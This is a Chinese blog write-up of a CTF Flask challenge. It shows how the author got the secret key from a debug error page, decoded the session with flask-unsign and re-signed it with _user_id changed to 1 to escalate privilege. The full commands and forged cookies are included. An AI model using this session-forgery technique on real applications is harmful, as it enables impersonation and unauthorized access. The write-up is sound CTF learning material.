0%

基于flask的session伪造

[NSSRound#13 Basic]flask?jwt?(hard)

先讲难的那个,就是我搞了很久的那题
找拉蒙特徐,我说我明明找到了密钥,但是伪造的session还是通过不了,拉蒙特徐说:flask伪造session主要还是依靠密钥,只要有密钥就什么都不会错
他建议我去本地起一个flask用于调试密钥是否正确(这个我后续会去讲)
后面我发现真的是密钥错了(笑死了)

前言

我本来想去搞几题flask框架来打打,然后发现不是ssti就是什么杂七杂八的,我就选了两题cookie伪造来做,后面就认识到了这些内容

查找密钥

由于拉蒙特徐让我去起flask,因此我学到了一些flask相关的知识,这题中用到的是flask的debug模式的知识
当flask开启debug(debug=True),我输入不当内容页面会报错,这题的密钥就是通过报错找到的,现在/wor目录下找到提示(一个时间),然后burp打一个错误的session进去,出现报错界面,我在这个界面中找了一个错误的密钥,因此一直做不出来,但是现在不要紧,因为我在这个界面中找到正确的密钥了
只要找到正确的密钥,然后用flask-unsign加密即可

核心出装–flask-unsign

1
2
flask-unsign -d -c ".eJwljjGOAjEMRa8SuaawnTjO5AJbTUeP4mALim0GpkCIuzOrLd8v3n9vuMTmjxv057b7CS73K3RowSZLw1aplKFaWIqTGUUdmaYYGucyK2WipcXIWSwzorssFvVKhmNEZWYnNRNEQY_IKl69hBzeisfHQtMoTylN1XhOdm1StcERsj98-6_hA5_3X4f-hvQ3nG_7KZGkdbwSI0tC6qydWvpZz_D5fAGY0zl7.aCVC9g.7om0is_7m3lMe1lIrBmBVbRawGI"
{'_fresh': True, '_id': '8f2b598086144a774254e1bb1f6a31c5b0b234c6131198fa335b3200ee59bf6d1b0aaf6222e17bb50050eff375e6e4f586160f2b91cb13c54877b2cc2e785678', '_user_id': '2', 'time': datetime.datetime(2025, 5, 15, 1, 27, 18, tzinfo=datetime.timezone.utc)}

得到的json结构就是解出来的cookie,结合我们之前找到的flask的密钥,再进行加密,把得到的新的session交上去,就可以得到flag了
把_user_id改成1

1
2
flask-unsign -s -S hardgam3_C0u1d_u_f1ndM3???? -c "{'_fresh': True, '_id': '8f2b598086144a774254e1bb1f6a31c5b0b234c6131198fa335b3200ee59bf6d1b0aaf6222e17bb50050eff375e6e4f586160f2b91cb13c54877b2cc2e785678', '_user_id': '1', 'time': 'datetime.datetime(2025, 5, 15, 1, 27, 18, tzinfo=datetime.timezone.utc)'}"
.eJw9jk2KwzAMha8SvOpAKJJs2U6hZymWI9Es2kLqbFp693EYpqCf7y309N7uYqs-r-7U1k1Hd1lmd3LZSHjKkCOGUFIKxEFRBC0Wj5UFhHyoET3ilK14z-IJQJUnsTijQCkWiUgxiTAAg5r5xBo1GHffCP3HhFXQVw45JaFaSVPmmLLrQbanrn9psMu23LTjXJruePyHAwHxOPTCvceBUl95HNprudvj_D3Yx-tx1-PW6o_7_AKv1Ucd.aCVEOA.2DvC6wOeRNJO073nKbfeXNWUsGA

这里注意一点,我们解出来的time的值是没有用单引号包裹的,但是我们重新加密时是用单引号包裹的

1
2
第一处解密出来:'time': datetime.datetime(2025, 5, 15, 1, 27, 18, tzinfo=datetime.timezone.utc)
第二处加密出来:'time': 'datetime.datetime(2025, 5, 15, 1, 27, 18, tzinfo=datetime.timezone.utc)'

理由是:当你用 flask-unsign -s 的 -c 参数来“伪造”一个 session dict 时,命令内部实际上是用 Python 的 ast.literal_eval(或者等价的安全字面量解析器)来把你传进来的字符串转换成一个 Python 对象。ast.literal_eval 只接受真正的字面量(字符串、数字、布尔值、列表、字典、元组等),不接受诸如函数调用或名称引用(比如 datetime.datetime(…))——那会被当成不安全的表达式直接拒绝
如果写上者,就会有
ast.literal_eval 会报错,因为它不认识 datetime 这个名字,也不能执行函数调用。
如果写下者,就会有
literal_eval 就能把它解析成一个 Python 字符串 “datetime.datetime(…)” 而不是要你去调用 datetime.datetime。
总结一下:
加引号只是为了满足 flask-unsign(背后用的 ast.literal_eval)对“只允许字面量”的限制,否则它既不能识别也不会执行你那串 datetime.datetime(…)

网上关于这个的wp还是太少了
想了一想,第一题还是不写wp了,太麻烦

后语

认识到了挺多flask的内容(路由什么的都会了),也学会了本地起一个简单的flask服务,这里我相当感谢拉蒙特徐了